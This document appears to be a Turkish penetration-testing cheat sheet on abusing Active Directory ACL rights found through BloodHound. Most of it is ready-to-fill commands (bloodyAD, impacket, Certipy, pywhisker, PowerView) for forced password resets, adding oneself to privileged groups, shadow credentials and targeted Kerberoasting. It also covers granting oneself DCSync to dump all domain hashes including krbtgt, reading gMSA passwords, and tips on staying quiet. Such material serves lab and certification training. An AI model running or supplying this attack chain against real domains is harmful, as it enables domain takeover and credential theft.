ACL İstismarı — GenericAll/GenericWrite/WriteDacl/WriteOwner/ForceChangePassword/AddMember/Shadow Creds/GMSA
BloodHound'da çıkan nesne ACL haklarını (GenericAll, GenericWrite, WriteDacl, WriteOwner, AddMember, ForceChangePassword, AddKeyCredentialLink, ReadGMSAPassword) bloodyAD / PowerView / impacket / Certipy / pyWhisker ile somut yetki yükseltmeye çeviren saldırı zinciri.
- Geçerli bir domain hesabı ({{USER}}:{{PASS}} veya {{NTHASH}})
- BloodHound/SharpHound ile toplanmış ACL grafiği (outbound control kenarları)
- Hedef nesne üzerinde devredilmiş bir ACE (GenericAll/GenericWrite/WriteDacl/WriteOwner/ForceChangePassword/AddMember/AddKeyCredentialLink/ReadGMSAPassword)
Komutlar
bloodhound-python -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' -ns {{DC_IP}} -c All --zip nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M daclread -o TARGET_DN='CN={{USER}},CN=Users,DC=...' ACTION=read bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' get writable bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' set password 'TARGET_USER' 'Newp@ss123!' net rpc password 'TARGET_USER' 'Newp@ss123!' -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -S {{DC_HOST}} bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' add groupMember 'TARGET_GROUP' '{{USER}}' net rpc group addmem 'TARGET_GROUP' '{{USER}}' -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -S {{DC_HOST}} certipy-ad shadow auto -u {{USER}}@{{DOMAIN}} -p '{{PASS}}' -account 'TARGET_USER' -dc-ip {{DC_IP}} pywhisker -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --target 'TARGET_USER' --action add --dc-ip {{DC_IP}} targetedKerberoast.py -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --dc-ip {{DC_IP}} Set-DomainObject -Identity 'TARGET_USER' -Set @{serviceprincipalname='fake/ROAST'}; Get-DomainSPNTicket -Identity 'TARGET_USER' impacket-dacledit -action 'write' -rights 'DCSync' -principal '{{USER}}' -target-dn 'DC=...,DC=...' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}} bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' add dcsync '{{USER}}' impacket-owneredit -action write -new-owner '{{USER}}' -target 'TARGET_USER' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}} impacket-dacledit -action 'write' -rights 'FullControl' -principal '{{USER}}' -target 'TARGET_USER' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}} nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --gmsa bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' get object 'GMSA01$' --attr msDS-ManagedPassword Add-DomainObjectAcl -TargetIdentity 'DC=...,DC=...' -PrincipalIdentity '{{USER}}' -Rights DCSync ACL (Access Control List) istismarı, BloodHound grafiğinde gördüğün “outbound object control” kenarlarını gerçek yetki yükseltmeye çevirmektir. Her ACE türü farklı bir saldırıya açılır. Genel akış: prereq (bir hak devralmış kullanıcı) -> enum (hangi nesnede hangi hak) -> attack (hakka özgü istismar) -> result (yeni kimlik/hash/DCSync).
0. Önce Hakkını Bul
Her şey doğru ACE’i tespit etmekle başlar. bloodhound-python -c All ile veriyi topla, GUI’de hedef kullanıcı/grup düğümünden “Outbound Object Control” sekmesine bak. Komut satırından teyit için nxc ldap ... -M daclread ya da bloodyAD get writable kullan. Aynı saldırının hem Linux (impacket/bloodyAD) hem Windows (PowerView) yolu vardır; lab durumuna göre seç.
1. GenericAll / GenericWrite (Kullanıcı Üzerinde)
Kullanıcı nesnesinde GenericAll/GenericWrite, üç ayrı saldırıya açılır:
- Targeted Kerberoast: Hedefe geçici
servicePrincipalNameyazarsın, TGS-REP hash’i Kerberoast’larsın, sonra SPN’i silersin.targetedKerberoast.pybunu otomatik yapar. Avantaj: hedefin parolasını DEĞİŞTİRMEDEN crack denersin (daha az gürültü, geri dönüşü kolay). - Shadow Credentials: Hedefin
msDS-KeyCredentialLinkalanına bir sertifika eklersin (certipy shadow autoveyapywhisker). PKINIT ile TGT alıp NT hash’iUnPAC-the-hashile dökersin. Parola sıfırlamaya göre çok daha sessizdir ve geri alınabilir. Gotcha: DC’de PKINIT/AD CS gerekir ve domain functional level 2016+ olmalı; eski DC’lerde key credential desteklenmez. - ForceChangePassword: En gürültülü yol — hedefin parolasını sıfırlarsın (
bloodyAD set passwordveyanet rpc password). Servis hesaplarında uygulamayı kırabilir, sınav/angajmanda en son tercih.
2. GenericWrite / AddMember (Grup Üzerinde)
Grupta yazma hakkın varsa kendini gruba eklersin: bloodyAD add groupMember ya da net rpc group addmem. Domain Admins, Enterprise Admins, Remote Management Users, Backup Operators gibi gruplar doğrudan DA’ya veya kutuya WinRM erişimine açılır. Gotcha: Üyelik değişiminin etkili olması için yeni bir TGT alman gerekir — mevcut biletinde eski grup SID’leri PAC’te cache’lidir, kinit/yeni auth ile tazele.
3. WriteDacl
Nesnenin DACL’ini yazma hakkı = istediğin ACE’i ekleyebilirsin. En değerlisi domain head’e (DC=…) kendine DCSync (DS-Replication-Get-Changes + Get-Changes-All) hakkı yazmaktır: impacket-dacledit -rights DCSync ya da bloodyAD add dcsync ya da PowerView Add-DomainObjectAcl -Rights DCSync. Sonra impacket-secretsdump -just-dc ile tüm domain hash’lerini (krbtgt dahil) dökersin -> oyun biter.
4. WriteOwner
Sadece sahipliği değiştirme hakkı verir, doğrudan içeriği değil. İki adım: (1) impacket-owneredit -action write -new-owner {{USER}} ile nesnenin sahibi ol; (2) sahip olarak DACL’i yazıp kendine FullControl/GenericAll ver (impacket-dacledit -rights FullControl). Artık 1. maddedeki tüm saldırılar (shadow cred, targeted kerberoast, reset) açık. Gotcha: İşlem sonrası temizlik için eski sahibi geri yazmayı unutma.
5. AddKeyCredentialLink (Shadow Credentials)
Bu spesifik write hakkı tek başına Shadow Credentials saldırısına yeter — GenericAll’a gerek yok. certipy shadow auto ya da pywhisker --action add ile cert ekle, PKINIT TGT al, NT hash dök. Bilgisayar hesaplarında da çalışır (makine hesabının hash’i -> RBCD/PtH).
6. ReadGMSAPassword
Bir gMSA’nın msDS-ManagedPassword blob’unu okuma hakkın varsa NT hash’i alırsın: nxc ldap --gmsa veya bloodyAD get object --attr msDS-ManagedPassword. gMSA genelde ayrıcalıklı servis hesabıdır; çıkan NT hash ile PtH yaparak o servisin/host’un yetkilerine geçersin. Gotcha: Parola otomatik döner (~30 gün), ama okuma anında geçerli olanı verir.
Sık Hatalar
- LDAP yazma işlemleri için saat kayması (clock skew) Kerberos auth’ta sorun çıkarır;
ntpdate {{DC_IP}}ile senkronla, ya da NTLM bind (-p) kullan. dacledit/ownereditImpacket’in güncel sürümünde gelir; eski sürümde yoksa pip ile güncelle.- Her zaman geri dönüş bırak: targeted kerberoast’ta SPN’i sil, owneredit’te eski sahibi geri yaz, eklenen ACE’leri kaldır.